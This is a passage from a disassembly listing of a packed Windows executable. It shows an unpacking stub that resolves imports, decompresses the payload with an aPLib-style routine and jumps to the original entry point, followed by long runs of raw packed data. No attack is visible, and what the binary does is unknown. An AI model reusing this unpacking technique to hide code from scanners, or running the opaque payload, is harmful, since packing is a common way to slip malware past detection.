pop ebx
pop ecx
pop esi
add ebx, 0Ch
loop loc_4853D0
loc_4853EF: ; CODE XREF: start+14j start+232j
mov eax, 0
cmp eax, 0
jz short loc_485403
popa
popf
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_485403: ; CODE XREF: start+264j
popa
popf
jmp sub_40EB84
start endp
; =============== S U B R O U T I N E =======================================
sub_48540A proc near ; CODE XREF: start:loc_4852CBp
mov esi, [ebp-18Bh]
or esi, esi
jz loc_4854AF
mov edx, [ebp-183h]
add esi, edx
loc_485420: ; CODE XREF: sub_48540A+61j
cmp dword ptr [esi], 0
jnz short loc_485433
cmp dword ptr [esi+4], 0
jnz short loc_485433
cmp dword ptr [esi+8], 0
jnz short loc_485433
jmp short loc_4854AD
; ---------------------------------------------------------------------------
loc_485433: ; CODE XREF: sub_48540A+19j
; sub_48540A+1Fj ...
mov ebx, [esi+8]
add ebx, edx
push ebx
push edx
push esi
lea edi, [ebp-97h]
add edi, [esi+4]
add esi, 0Ch
push edi
call dword ptr [ebp-0F7h]
pop edi
pop edx
pop ebx
cmp eax, 0
jz short loc_4854AF
mov [ebp-17Bh], eax
add edi, [esi]
add esi, 4
loc_485461: ; CODE XREF: sub_48540A+A1j
xor ecx, ecx
mov cl, [esi]
cmp ecx, 0
jnz short loc_48546D
inc esi
jmp short loc_485420
; ---------------------------------------------------------------------------
loc_48546D: ; CODE XREF: sub_48540A+5Ej
mov eax, edi
add edi, ecx
push edx
push ebx
push eax
cmp byte ptr [eax], 0FFh
jnz short loc_485481
inc eax
mov eax, [eax]
and eax, 7FFFFFFFh
loc_485481: ; CODE XREF: sub_48540A+6Dj
mov cl, [edi]
mov byte ptr [edi], 0
push ecx
push eax
push dword ptr [ebp-17Bh]
call dword ptr [ebp-0F3h]
pop ecx
pop edx
pop ebx
pop edx
cmp eax, 0
jz short loc_4854AF
mov [edi], cl
mov [esi-4], eax
push dword ptr [esi-4]
pop dword ptr [ebx]
add ebx, 4
inc esi
jmp short loc_485461
; ---------------------------------------------------------------------------
loc_4854AD: ; CODE XREF: sub_48540A+27j
clc
retn
; ---------------------------------------------------------------------------
loc_4854AF: ; CODE XREF: sub_48540A+8j
; sub_48540A+4Aj ...
jmp loc_485553
sub_48540A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4854B4 proc near ; CODE XREF: start+6Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0048554F SIZE 00000004 BYTES
push ebp
mov ebp, esp
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
cld
mov dl, 80h
loc_4854C0: ; CODE XREF: sub_4854B4+12j
movsb
loc_4854C1: ; CODE XREF: sub_4854B4+34j
; sub_4854B4+7Dj
call sub_485533
jnb short loc_4854C0
xor ecx, ecx
call sub_485533
jnb short loc_4854EA
xor eax, eax
call sub_485533
jnb short loc_4854FB
mov al, 10h
loc_4854DC: ; CODE XREF: sub_4854B4+2Fj
call sub_485533
adc al, al
jnb short loc_4854DC
jnz short loc_485528
stosb
jmp short loc_4854C1
; ---------------------------------------------------------------------------
loc_4854EA: ; CODE XREF: sub_4854B4+1Bj
call sub_48553F
dec ecx
loop loc_485507
mov eax, ebp
call sub_48553D
jmp short loc_485529
; ---------------------------------------------------------------------------
loc_4854FB: ; CODE XREF: sub_4854B4+24j
lodsb
shr eax, 1
jz short loc_48554F
adc ecx, 2
mov ebp, eax
jmp short loc_485529
; ---------------------------------------------------------------------------
loc_485507: ; CODE XREF: sub_4854B4+3Cj
xchg eax, ecx
dec eax
shl eax, 8
lodsb
mov ebp, eax
call sub_48553D
cmp eax, 7D00h
jnb short loc_485527
cmp eax, 500h
jnb short loc_485528
cmp eax, 7Fh
ja short loc_485529
loc_485527: ; CODE XREF: sub_4854B4+65j
inc ecx
loc_485528: ; CODE XREF: sub_4854B4+31j
; sub_4854B4+6Cj
inc ecx
loc_485529: ; CODE XREF: sub_4854B4+45j
; sub_4854B4+51j ...
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp short loc_4854C1
sub_4854B4 endp
; =============== S U B R O U T I N E =======================================
sub_485533 proc near ; CODE XREF: sub_4854B4:loc_4854C1p
; sub_4854B4+16p ...
add dl, dl
jnz short locret_48553C
mov dl, [esi]
inc esi
adc dl, dl
locret_48553C: ; CODE XREF: sub_485533+2j
retn
sub_485533 endp
; =============== S U B R O U T I N E =======================================
sub_48553D proc near ; CODE XREF: sub_4854B4+40p
; sub_4854B4+5Bp
xor ecx, ecx
sub_48553D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_48553F proc near ; CODE XREF: sub_4854B4:loc_4854EAp
inc ecx
loc_485540: ; CODE XREF: sub_48553F+Dj
call sub_485533
adc ecx, ecx
call sub_485533
jb short loc_485540
retn
sub_48553F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4854B4
loc_48554F: ; CODE XREF: sub_4854B4+4Aj
pop ebp
retn 8
; END OF FUNCTION CHUNK FOR sub_4854B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_485553: ; CODE XREF: start+51j start+1FDj ...
push 0
call dword ptr [ebp-0E3h]
retn
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
inc dword ptr [eax]
mov edx, [ecx]
cmp edx, [ecx+4]
jnz short loc_48556F
mov dword ptr [ecx+eax*2], 2300110h
or al, 0FFh
retn
; ---------------------------------------------------------------------------
loc_48556F: ; CODE XREF: .nsp1:00485563j
pop es
mov al, [edx]
inc edx
mov [ecx], edx
pusha
mov eax, [esp+4]
sbb al, 83h
popa
adc [ebx], dh
or [ebx+eax*4], cl
push esi
push ds
and [ebx], al
rol byte ptr [ecx+49h], 1
or bh, bh
push 5
jmp short loc_48559E
; ---------------------------------------------------------------------------
db 58h
dd 39C9E85Eh, 0CE48B02h, 0C0B6000Fh
db 0C1h, 0E2h
; ---------------------------------------------------------------------------
loc_48559E: ; CODE XREF: .nsp1:0048558Dj
or [ebx], cl
retn 3E4Eh
; ---------------------------------------------------------------------------
db 89h
dd 0EA750F41h, 40E5Eh, 718B5653h, 0DB330708h, 8057D285h
dd 2C7E0C79h, 0EA1C5576h, 0E380EED1h, 572FE3Bh, 1D83E82Bh
dd 778101CBh, 107360C5h, 81AE6C1h, 848985E8h, 0F800E741h
dd 5DD8754Dh, 5F628967h, 1C5E7A4Ch, 0B35BC38Bh, 4F97F28Ch
dd 0B70F5761h, 0C1C2DC39h, 1E0BE83Ch, 7E00C7AFh, 73F83B0Ch
dd 46893140h, 0F566C0BCh, 0D0348E01h, 98F01EBFh, 0C1FA2Bh
dd 0F80305FFh, 81398966h, 5CA87E7Fh, 0CE148B19h, 889F2AE8h
dd 1DE1644Eh, 0F166BA38h, 0EE072DFh, 0D02B42EBh, 566DF84Fh
dd 0A06FD789h, 0AD20C8Fh, 50C1E6D0h, 0DFC29EEAh, 0E742A386h
dd 40021FFEh, 81C35E5Fh, 5351ECD6h, 0DA3E16BBh, 0E8DB8594h
dd 1A7EF901h, 40FC5D89h, 8D0855B2h, 0CE63470h, 3FE83E18h
dd 0E6C603FDh, 75FC0C4Dh, 42C25EEBh, 0D3CB8B02h, 45B5FE2h
dd 191F95C9h, 0DD89763Ah, 57309CF8h, 3942FFC3h, 0D98BC97Dh
dd 7EFCA8FBh, 78566520h, 0C420312h, 2385E81Eh, 14D0CFBDh
dd 0E003D306h, 47FC4509h, 7C48123Bh, 14151BE2h, 61C98824h
dd 0E899F26Dh, 4940ECDAh, 0E8D3E46Eh, 0BABCF54h, 493DC638h
dd 0EA7C14BEh, 0A05B2B9Fh, 9C195035h, 5294FCD2h, 751BC443h
dd 0D0D1B808h, 0EEC1D865h, 468D070Eh, 26E0CF01h, 1B76C303h
dd 7396E847h, 0D80BDBD0h, 75F03B02h, 0A1FB811Ch, 1AEBD340h
dd 1BB657B2h, 0A276E822h, 99D88B59h, 0B88AE61Ch, 6585C38Ah
dd 0FA820E56h, 7CE8F147h, 0C0138541h, 2A461675h, 3AC570Ch
dd 8D036A04h, 5AB0304Ch, 31C7DCE8h, 4EC03BEBh, 0F8D78B02h
dd 5724A832h, 4B1B6575h, 8C242210h, 4E919F0Dh, 0C08301B5h
dd 6A11EB08h, 48EF840h, 0A213A102h, 0D2D2100Ch, 4ABE2C67h
dd 813F938h, 41F1544Eh, 0C8030C4Dh, 70473324h, 52A4F1B8h
dd 0C9283D1Ah, 4DCCEBDCh, 0E806C8F4h, 10E6E528h, 661AD6D2h
dd 0F84D414Bh, 20EC0690h, 0D3E403F0h, 73605E7h, 0DB325A05h
dd 0CE1C4F4Ah, 604D390Ch, 2E106055h, 6A0873DCh, 0E958020Dh
dd 9842E1A0h, 0C8754076h, 0A8B7F9D1h, 0FE202FDCh, 0C913ABF3h
dd 0FF0A6661h, 3201875h, 4D8D0214h, 0FCFAE8C8h, 207D8EA3h
dd 70860F80h, 128A5DD4h, 86192310h, 89C1D820h, 851860DEh
dd 0EA13A366h, 61AA42F4h, 9B460420h, 624E73C2h, 0FD446455h
dd 76621246h, 4223DC82h, 0B1A58047h, 0E74D2A08h, 90C38020h
dd 0C59CA3A5h, 0C203A100h, 9040048Dh, 83091D05h, 8806E4FFh
dd 7D0F0E6Ch, 0F4658706h, 3D10EB03h, 5BA0A24h, 0B903EF9Eh
dd 0D060A65h, 30CEF4A5h, 20497408h, 0B02B39F6h, 8A1C9AF8h
dd 88103C04h, 0A09A18AAh, 83FE1D65h, 8816C77h, 0E76C0E47h
dd 54D8678Ah, 836A941Ch, 0AE0843F2h, 3401807Eh, 0E894C233h
dd 0C1A36242h, 1B50C33Bh, 0B2E1C7AFh, 23983A2Dh, 2F519EE8h
dd 752F8EA6h, 0F47A445h, 8A039592h, 4605C1D1h, 184E86E8h
dd 0EE392C75h, 8B84350Fh, 0F0B51455h, 707FF1Fh, 912BC09Dh
dd 0C1448DF8h, 0F4F94309h, 338AD339h, 31FF3301h, 0E912884Ah
dd 58A4CE4Ah, 184622B0h, 48C30575h, 2B27EBECh, 0A8AC82Bh
dd 0E1182EE8h, 0BA09EBF0h, 0E410E476h, 1D38B587h, 0B419B6ECh
dd 0E613A8EDh, 8481DDA2h, 480A688Eh, 0D5AA9B32h, 0EA6299C2h
dd 0DC487E91h, 0D9E7FDE0h, 0ADE9110Bh, 6C8944C2h, 0E41C5BF0h
dd 6D0CD1DBh, 5912849Dh, 6488882Ch, 11322906h, 50E81B0Ah
dd 4F8D997h, 4C7CB424h, 58247D03h, 0F25194D8h, 624073Dh
dd 53609381h, 9E74144Bh, 647C2154h, 0C7D1E249h, 0FB2391D6h
dd 30CFF94Ah, 3E98CABAh, 5D0E2ACCh, 5115247Dh, 0F02B1DE4h
dd 55E4E5Eh, 0D73AE880h, 0EB70015Dh, 0E7C28321h, 0A4FB0FE1h
dd 493E18h, 50C8451Ch, 0F691F16Ah, 0EB5A0A44h, 90B4CEDBh
dd 6284B685h, 48838ED3h, 3424C906h, 3C80A630h, 3F3A779Eh
dd 0C1A41C39h, 42429CD3h, 188AC703h, 41394040h, 854A4009h
dd 7EC2A1D2h, 20D43B05h, 0F1EC4972h, 0FE0E778h, 0B5905582h
dd 0CC95D245h, 851C6E83h, 41EB75D2h, 0F0D1C378h, 102E1263h
dd 0F8A8772h, 82E14480h, 0D1610DBBh, 720124F4h, 0E9440762h
dd 0E3194A96h, 2D2E2C55h, 805F2E2Eh, 0E4321472h, 0B37DC18Ah
dd 0C1F3F62Eh, 807C8FAAh, 7548D30Ch, 0BA093CFAh, 0F71CA612h
dd 0F781FC1Ch, 1EC9F516h, 60682F1h, 5061C6BBh, 0E068CFE3h
dd 268D9210h, 41A71B9Ch, 71FF5253h, 2077CD9Dh, 7A90C8BDh
dd 94D38BA1h, 6FB40514h, 88527220h, 0FC12B857h, 2420651Dh
dd 8CE4F633h, 806E4601h, 69C36A81h, 202402Eh, 0C385C68Bh
dd 0F8C41E5Fh, 80B90153h, 0
dd 5D00h, 0ECD00020h, 40000000h, 2A000008h, 1788D9A2h
dd 7D250F8Ch, 31A67B49h, 0B824D18Ch, 12D4E738h, 87D440C8h
dd 0A006CB2Bh, 98593834h, 838FA47h, 44B210B7h, 1628CACh
dd 172115BDh, 0A21CA325h, 0B2318123h, 0BC0A9968h, 0BD81DF54h
dd 9F6559C8h, 0FAA1665h, 9B18063h, 0F9D3B835h, 0EBE37107h
dd 77D21CD4h, 0BDD5DE49h, 144E7903h, 1AD726D8h, 28CFB840h
dd 0F6153266h, 129029ABh, 741863E9h, 4C3DDB23h, 46049E4Fh
dd 9628E33h, 8AF62B33h, 654D881Ch, 5ACEA885h, 43F2B27Fh
dd 924570EDh, 9D1428D1h, 4B7C7733h, 1BBC1D4Fh, 0B1F5AF83h
dd 0BADC6A9Ah, 5E5111BFh, 6588B9F0h, 0B5B507B3h, 97567ECFh
dd 43640B35h, 6C6FAD5Eh, 2954EB1Dh, 8467220Ch, 8E05E2FAh
dd 16862FAFh, 0B5E451A7h, 136B3365h, 16DDA842h, 93665D7Ch
dd 0DCA03B57h, 8FBAE04Eh, 46FC2229h, 0FE6DEBAh, 3FA9268Ch
dd 337A056Dh, 19AFE074h, 0D2C35D37h, 205BEEFEh, 0D6A7F9B2h
dd 253E8A2Dh, 0CBCCEBE9h, 0D3CC8F00h, 6DF7E2F4h, 4EF81BDh
dd 0B8CEFFA6h, 1FA7E8C2h, 0A8838F27h, 8D1FEF81h, 83E4C9D1h
dd 8D9B1F48h, 0B01E1729h, 27E9C7CAh, 0C5907CDDh, 169B5FBDh
dd 0AB29C634h, 0C54C2C78h, 0BAE61392h, 0FAF5E9C5h, 73A3C1C8h
dd 26F635D2h, 0D203F9F1h, 55EF2096h, 0E93DB91Ah, 7735D041h
dd 19C0A1CBh, 0BE634D9h, 1617A122h, 0F40C58F5h, 8683EAFCh
dd 71DD48F8h, 0CCE5F401h, 5137E36h, 651B90C8h, 0C63A453Ch
dd 0B9C78C97h, 64B33E3h, 89BFF86Ah, 478C6B9Bh, 7C985831h
dd 0A2BA4B8Ch, 1615B931h, 0E906A50Eh, 25B8E2CCh, 7CA4C6F0h
dd 5CB4A3C5h, 3F4DEA98h, 6832E49Ah, 0B309B443h, 94DBB195h
dd 0F4B8534Ch, 0EADB69FDh, 0FD626E2h, 0EBE2C79Ah, 318A3F8Bh
dd 0E99966D6h, 5097AE17h, 0B8999C1Bh, 97186EE3h, 0CEB2D92Eh
dd 36C286A1h, 464F8A02h, 0F0A51891h, 3B049F2h, 753C3DEAh
dd 9E53FA96h, 104474FAh, 9F16BE8Ch, 45BB0CF3h, 18E93467h
dd 0B5C6B4A7h, 965D067Dh, 50C6E306h, 0C252CFB1h, 0B7A0D67Fh
dd 8D9859D1h, 0B6CB54CFh, 6E7D2A8Dh, 0EC88CD8Fh, 0AE665C23h
dd 0A51828BFh, 82C5A038h, 0E4A29074h, 5A22E10Eh, 55FF9F4h
dd 12D9ADF3h, 6498FA2Eh, 769BE314h, 0D0DB4549h, 836FC556h
dd 0EC7E6B1Fh, 1227D9EEh, 245B97B4h, 1EE2A331h, 0EB7E8AFAh
dd 0E28A24ACh, 0ED266572h, 34A87519h, 7C9CAF4Eh, 0D29C139Ah
dd 14D694C3h, 9034AF0Dh, 0CFF7B47Dh, 48598294h, 9456D1FEh
dd 0F034E3D9h, 0EAAD2413h, 9E1F4E95h, 0AA52D8DDh, 23798ED0h
dd 739C6575h, 7E58CF90h, 0A88BCD1h, 0DE1D4FF1h, 3F55D0EFh
dd 0E084FE1Dh, 90418557h, 0CF423F8Fh, 3383A068h, 0FA8D6978h
dd 0DCA01224h, 0BBCA241Fh, 87D8697Dh, 0A3B35BB6h, 7444023Fh
dd 7DB1EF0h, 96E383DEh, 0B75DA5D1h, 0D4FCC217h, 97D284C9h
dd 0AE44B1D4h, 0AD02A347h, 0F69906E8h, 0AE712770h, 865F4B25h
dd 44E2F9CDh, 1DDCFD21h, 0C89C2B23h, 0A75177E2h, 480DB938h
dd 8FFB1382h, 28F60002h, 0D5D9A0C9h, 0CC21EF09h, 0E031D455h
dd 0A7BC5504h, 3C05A014h, 0E4F6A59h, 0ABBEF465h, 0FD35F9D6h
dd 7DBA670Fh, 184C1D33h, 0B61BD1C6h, 2EAFA568h, 0E934555h
dd 677057FCh, 7D1E95F2h, 9905A1F9h, 74C2C847h, 56E08CB6h
dd 0C25A679Fh, 4D323E96h, 5DA160Fh, 0C8844721h, 0E7DB4A19h
dd 0AF2E5798h, 0A9034D1Ah, 98A1B43Fh, 0D22ED1E4h, 0CE4A02FBh
dd 0BC4CEC0Dh, 0A4850E47h, 852BB59Ch, 0AD1ACFC3h, 0E8EB8181h
dd 0FBC05BFEh, 30F195F4h, 0C471F2CCh, 1726C61Bh, 0F1EB5B79h
dd 59679ACAh, 7F07A209h, 6A54E3F3h, 0AEBCBE0Ah, 5C7CEBC7h
dd 7619FEDEh, 4AF1200Ch, 0F4EC2CCBh, 0AF0271Bh, 0E1C49C0Eh
dd 6E1A379Dh, 37E49988h, 0DAA3DF82h, 3B32C796h, 0C771DFD9h
dd 5786A145h, 9B5EE5A2h, 9D5F4E4Eh, 0BA30603h, 4405B9DDh
dd 0B1339885h, 39524088h, 93F0970h, 9B34E308h, 0D99A50B4h
dd 40F598EAh, 6E87BFB6h, 0EC4DF540h, 2A8C5C16h, 0F5382E9Ah
dd 0A35B5456h, 237830CEh, 8202ED47h, 0CF1622C4h, 59E6C2BCh
dd 575D8262h, 813FAD04h, 0C119D5DEh, 59D4C984h, 99C52A9Ah
dd 76A31C58h, 0A3F33742h, 54118D0h, 0E3B9371Ch, 912E69BAh
dd 829355DDh, 0EC839997h, 5772CCBDh, 0FAAA053Eh, 0E9BDCDB6h
dd 0ABDAE6BDh, 5EFF0D0h, 5E265A83h, 0DBA19822h, 0F295D453h
dd 1F1F9731h, 0FF78525Fh, 0AE426508h, 69B1815Ah, 1BCF67E9h
dd 326F21F3h, 394EA5A2h, 74A7A8CEh, 0E6185561h, 0ABBA05DDh
dd 8C84B38Bh, 9BFBC481h, 7AE8C847h, 0F71E3929h, 2B8A6561h
dd 3E165B3Eh, 0EC444925h, 4C321A59h, 96FD646Fh, 1436D998h
dd 9D5ACBFFh, 1CF46C1Fh, 97ADD826h, 82BEA6ECh, 0A8AE86E7h
dd 3B0DA89Ch, 3688966Fh, 0E602D575h, 85C16B72h, 0A39B1A5Ch
dd 9AA1DA43h, 0D0219AE7h, 3B7C608Ah, 0FB4144ECh, 47F8CEDAh
dd 99AECD7h, 0BA0BFBFAh, 108B8117h, 87F70851h, 0F849FA29h
dd 0FAB51456h, 1637D15Fh, 0FEB5A7BFh, 52672296h, 0ACC88331h
dd 0B537ED1Eh, 8B17F5A3h, 9AC7769Dh, 27B5D510h, 0A712C070h
dd 72E3154Fh, 0CA37BF5Eh, 5F9D3F98h, 0FE9B6130h, 27D7D642h
dd 0CF02C946h, 1B81DEF2h, 0C098AC87h, 0A54BA112h, 3A7BBAC8h
dd 3C7CFD19h, 52A557ECh, 0BCF457A6h, 0A6D47AB6h, 8C690FDh
dd 0AE215C26h, 0B8761289h, 0E453EB8Ch, 0C7092458h, 4C53780Bh
dd 3B4DA098h, 0BDBCFD02h, 573EF6E9h, 0B42318BEh, 109ED925h
dd 8C1F3D81h, 564FFD66h, 6464DF07h, 86B8862Fh, 29C73B56h
dd 1795AE14h, 0B5CD09FBh, 0F5D48786h, 867BB36Ah, 0A383E271h
dd 0E067D166h, 88FFD8B9h, 0A5739EE6h, 4CF2179Fh, 0AAEF1C45h
dd 42179458h, 801B621Eh, 2BE65E5Fh, 5B93BC26h, 2C8BBD78h
dd 0F3CBE53Dh, 3FEB03h, 0B661C636h, 0C0C456BBh, 7309B14Dh
dd 4752FF64h, 0D243E8E9h, 920FDC28h, 0D131B633h, 71A06647h
dd 8EF28F7Ch, 4AFECAEEh, 202202B2h, 3C9A02B9h, 0C194819h
dd 6F48C92Fh, 0BB85F901h, 7701C413h, 989A2501h, 67470C9Eh
dd 0B0795EC6h, 7A8001B1h, 8A719647h, 62D28220h, 7B7DAC77h
dd 0D05E7C72h, 0F29ACC9h, 573058A0h, 1BE30D05h, 0B1089DCEh
dd 0DB4BFCEAh, 0D0F2D82Ah, 92D3C342h, 5298E081h, 0E8985C79h
dd 9D6D8D76h, 802F17F5h, 0A13A65BEh, 0D160898Eh, 4F8CCC03h
dd 0FB1BADEFh, 8CBF2E9Fh, 0AD6DD840h, 52E27511h, 0BBC82A15h
dd 707A644Dh, 8ACDDC9Bh, 0AB5D996Eh, 494E1B2h, 5E60DBF4h
dd 53EF4C85h, 0F6C43ED8h, 8463BDEEh, 0DA96DFEEh, 560B003Bh
dd 43CF1F82h, 1419D311h, 0DAD544ACh, 95A157ACh, 2DB14BCCh
dd 0DBC1055h, 8128FFCCh, 0DBF50124h, 0D6D58516h, 9424CD9h
dd 0FD479C2Eh, 25268057h, 0DFE92444h, 30298229h, 0B4FB72F1h
dd 57180844h, 4DC75A9Bh, 0F8BE4DEFh, 0FE5381B7h, 0E7EEC82Eh
dd 0BC2C8B36h, 279C1403h, 7543A811h, 9A94FF00h, 91655F80h
dd 144C40BCh, 399AA331h, 3A3BF3C5h, 4C7DAE53h, 0A749972Dh
dd 0AC5D32CBh, 6FEF581Eh, 63BEC4BEh, 4BC7BF10h, 7395E26h
dd 0C69D1DDEh, 0A4CEF8F6h, 5D229C80h, 3BCC86FEh, 0BA5BD495h
dd 0F15F0F8Eh, 8F13F721h, 516B0BC1h, 5CA9F035h, 56157B22h
dd 0C464BF36h, 4F270A3Eh, 0E801644Ch, 7B824594h, 81CAB4C8h
dd 8D73CFA8h, 2A7E2BE2h, 61BCD8D8h, 0F4697B07h, 0F16B9201h
dd 0B2883904h, 0E00F3D5h
dd 2FAF8BC2h, 113B5248h, 68AC91B1h, 297B9AA3h, 0BC9BE80Eh
dd 0A28D5A3Eh, 907EC629h, 33A1FDE4h, 0DE2CF42Eh, 0EA13535Fh
dd 4B54F108h, 0E7929527h, 24EB55FDh, 0A7DD616Ah, 269C5857h
dd 513DAFC9h, 0A5F1E20Ah, 0DD2BAEA0h, 0E3718F76h, 5084C7FAh
dd 1D715E14h, 4D23838Ch, 6099FEBBh, 0DD67E3D6h, 0E8F7ABCh
dd 0E4D33138h, 0C04936D2h, 0C16B9F4Bh, 37E8A907h, 5B0A1DCh
dd 9F5915D9h, 0A1E4D060h, 58C5969Ah, 0E1022D90h, 0EF257387h
dd 8CC501EDh, 62F84A96h, 0CC095ED5h, 2C2078F2h, 21FA4CF5h
dd 82617212h, 550FE0C8h, 0CAFD82A5h, 16660FBFh, 54FD6A4Eh
dd 0F189F566h, 0A4DA9BC1h, 0A65FEB54h, 5DF97E82h, 24876C16h
dd 0B56AF4A5h, 0E85A98DFh, 180CFD79h, 400C8548h, 0C4114300h
dd 0BB36E998h, 0D1748267h, 54C725F3h, 783F5E3Bh, 0EEB39E4Eh
dd 0EF205EE6h, 0DA9D2FE6h, 249C570Eh, 0ACC959F3h, 7CB2AB10h
dd 0FA7017DAh, 0C0CA79F6h, 8B138DCCh, 103AC15Ch, 1DBAF3BBh
dd 3469967h, 0F750D6F9h, 390CE248h, 0E67266CCh, 0DB433B1Dh
dd 0E8356E8Eh, 9042716h, 965D8D20h, 47CFB414h, 548A34A8h
dd 9B30577Ch, 0F9CA4D8h, 0FC554B3Fh, 45A81161h, 4149D194h
dd 0BCCE595Ch, 0E8AE87C8h, 932AEAh, 69B30470h, 2EC880D7h
dd 0F9DA7097h, 78923F39h, 730A0540h, 64E1473Eh, 0AABC5E3h
dd 1DC13A0Fh, 9EC1D8E4h, 0AE071EE7h, 1C1B87C7h, 8BF69E2Ch
dd 504608A7h, 927DEE8Eh, 3C3CB91Fh, 7679469h, 0E1E4B6B5h
dd 0FC7D7F08h, 600BF026h, 605938F0h, 302D739Eh, 0E6A33431h
dd 609A9EA8h, 63CC63BFh, 94D1035h, 19BE998Ch, 0BEBF3237h
dd 0AC129DE6h, 0C2900727h, 20170132h, 0E1508752h, 5A7683DFh
dd 0FC07FE8h, 99F628DDh, 64908605h, 0A49E6BEBh, 30E9572Fh
dd 59335D51h, 0A290636Fh, 2A93100Ah, 8C9970EAh, 0BA464439h
dd 531A3180h, 80639962h, 0CF75EFDCh, 428D83E5h, 1A2BF208h
dd 7FA65C7Eh, 0EECCFBB4h, 0CA0B1666h, 29646163h, 72EEED97h
dd 98FC043h, 0A98FF349h, 2E88692Ah, 0F19A967Fh, 250DE853h
dd 3C0D0BB0h, 0F0405224h, 13904805h, 5AD9A20Eh, 3EBB0FC1h
dd 0CD338D6Ch, 0A61909B9h, 5E2B6CBAh, 3840FB32h, 58509AC1h
dd 126FCD4Dh, 805FE69h, 551CE7CDh, 4F2A5288h, 0F018A051h
dd 7155BC9Dh, 0EDF2998Eh, 344934FBh, 0D95F7175h, 16A15D84h
dd 0F36A31E7h, 4F4E3273h, 43EA760h, 4D96B06Bh, 0AF2801AFh
dd 3D21B13Bh, 69C04A2Dh, 84E342FDh, 5342C555h, 0DA716A79h
dd 8D1762C8h, 0DB6C1730h, 1815897Ah, 147EA0FCh, 0E89B41B1h
dd 9E7F5FB7h, 0FCA13ABh, 0F93E733h, 0DA2F9F7Fh, 68BEE5A3h
dd 308DC385h, 0C4EE527Fh, 107CE3FBh, 0EA6D4A32h, 686F6896h
dd 3C745186h, 67C5C87Dh, 0DABE4A58h, 0CB40E152h, 661D6DE4h
dd 0E1E8F7CDh, 7EA3B0BAh, 8E8E9CCCh, 77B83CB7h, 0AFF23993h
dd 59922748h, 0B336F342h, 5797211Ch, 0AAD82AA5h, 0C383D474h
dd 22345090h, 0A1861CA2h, 0F404111Ah, 22EECF2Ch, 95DF74D5h
dd 0F0F8BC32h, 68370F7Fh, 0F2C2396h, 0C94A8148h, 68D920C9h
dd 0ADEBD29Fh, 4FBFCB03h, 0E43E8ECh, 433D2179h, 8A5D2E57h
dd 2EB58F3Ch, 0C004944Dh, 738232Fh, 0BBB60F67h, 8035FB05h
dd 18706B92h, 2C1116F2h, 746A21B0h, 6D89006Fh, 0EB916D0Eh
dd 4254D78Fh, 160B9B73h, 0CC3C75D0h, 0FEA58649h, 8913D57Ah
dd 0DDA795C8h, 0FDB3D012h, 0C96C36C6h, 334AC737h, 8D26FC68h
dd 23E2BAB2h, 1488B783h, 0CF880CC7h, 35170D5h, 1B388C97h
dd 348B3284h, 7C17576h, 5F05472Ah, 0C0CAAFF4h, 7E78DD56h
dd 0A3409B5Eh, 979C2A57h, 0DB02A836h, 1484F3B5h, 424DEA5h
dd 0D746AF1Ch, 0C2A3B362h, 0C9C430F3h, 97361619h, 0D965E8B1h
dd 0F16DEF27h, 4B08F341h, 0FC5FE3FFh, 1A220E39h, 3B6CFD14h
dd 0C71C5A9Eh, 2355B5F8h, 0B54E9536h, 0EBD0AC0Ah, 15BD0D4Dh
dd 0C17D9B19h, 3D383D09h, 3C07D6BAh, 0C300BA7h, 19AED02Ah
dd 0D4476F33h, 901D8DF2h, 0AE38B0F7h, 0C2D7B7DCh, 0D40576A1h
dd 3DE25B08h, 0A67B7A6Bh, 0C04F1913h, 10D01D3Eh, 10944AAAh
dd 4F97EDEEh, 8C568EDEh, 0AC683262h, 98FED556h, 29067224h
dd 0C842BD25h, 5517A4CBh, 0AC5E4A5Fh, 428B6EDAh, 367704B4h
dd 67A31D5Eh, 18C68E30h, 4C5D3596h, 0A8A8109Eh, 0FA009CBDh
dd 70843956h, 0DA7E228Dh, 34798330h, 92F869D3h, 6041F2A8h
dd 0FF18686Ch, 0D343BFBDh, 3B2D2F22h, 57DFEEA8h, 0C904567Dh
dd 6C7A97B5h, 9874B443h, 12E207DDh, 3D691ECCh, 129C2036h
dd 0E49F12BBh, 5078AB90h, 0FCCE9C86h, 54FFEF0Fh, 39C8AEC6h
dd 0BD14E51Eh, 0DE81E268h, 0DEDFEC68h, 8BC8CDC5h, 0B6054844h
dd 0A3C9E526h, 0C0F50289h, 187718CEh, 0BF779888h, 705BA9A1h
dd 5D345547h, 0CCDA667Eh, 3E76599Ah, 0CB28DA87h, 438A8C2Bh
dd 42FA60B2h, 11CE1D65h, 2C8E6554h, 32040B88h, 9B34B493h
dd 4D934AD1h, 0DFA61786h, 2A1E62A0h, 5D488829h, 17E4FADDh
dd 15EFE093h, 574B4092h, 5CF9F8FBh, 9F470F72h, 0A38AB76Ch
dd 15B4A5C3h, 4D8C9A15h, 0B2B3250Ch, 0F10095B1h, 591436F3h
dd 1666DC8Ah, 5DD55D72h, 6DEF5703h, 7BEB9781h, 73F4620Bh
dd 0AB7BAD09h, 52C69CCCh, 1BA95F01h, 0D90EE0C1h, 9FF2CD8Ah
dd 0A97B07CEh, 0EABA6654h, 6AAC4490h, 5BBF4104h, 0B5F33AAh
dd 71B82203h, 8D32F984h, 6F163F8Dh, 0EE677959h, 88B835FAh
dd 518B705Ch, 0D5C28788h, 490E67BBh, 0D61B2746h, 0F88104CBh
dd 0CDC7F5B5h, 0FE3B93E8h, 0D1833226h, 0E2CF0A41h, 0EF33E10Bh
dd 9E642E4Ch, 77E6D6BBh, 4026B222h, 0BC0A3C7Bh, 0EC1296AAh
dd 0A96A177Ah, 45E00B5Ch, 22C3F416h, 76663C6Ch, 74CA180Bh
dd 0DC1D8808h, 0E3543A2Ah, 38EF36E3h, 961EFB37h, 130EA523h
dd 1574A5DBh, 116927D8h, 8F2CB29h, 0EF896C09h, 0A5FA3D9Fh
dd 420D80BDh, 2CB8C08Fh, 24F2CB9Ch, 36F4F786h, 344C1D80h
dd 66ECB958h, 47FF4196h, 0DFA5D4E1h, 0C3CD2FD8h, 7561BA62h
